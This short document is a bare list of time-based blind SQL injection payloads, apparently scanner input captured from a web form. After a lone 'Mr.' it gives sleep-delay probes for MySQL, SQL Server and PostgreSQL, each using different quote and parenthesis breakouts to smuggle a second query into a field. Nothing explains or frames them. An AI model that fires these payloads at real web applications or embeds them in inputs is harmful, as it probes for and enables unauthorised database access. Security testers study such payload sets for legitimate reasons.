Mr.

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --

goUev3nV'; waitfor delay '0:0:15' --

hi3hXWeg'); waitfor delay '0:0:15' --

KgXBFP0T')); waitfor delay '0:0:15' --

UsjPyhqH' OR 742=(SELECT 742 FROM PG_SLEEP(15))--

6FNOhzwF') OR 194=(SELECT 194 FROM PG_SLEEP(15))--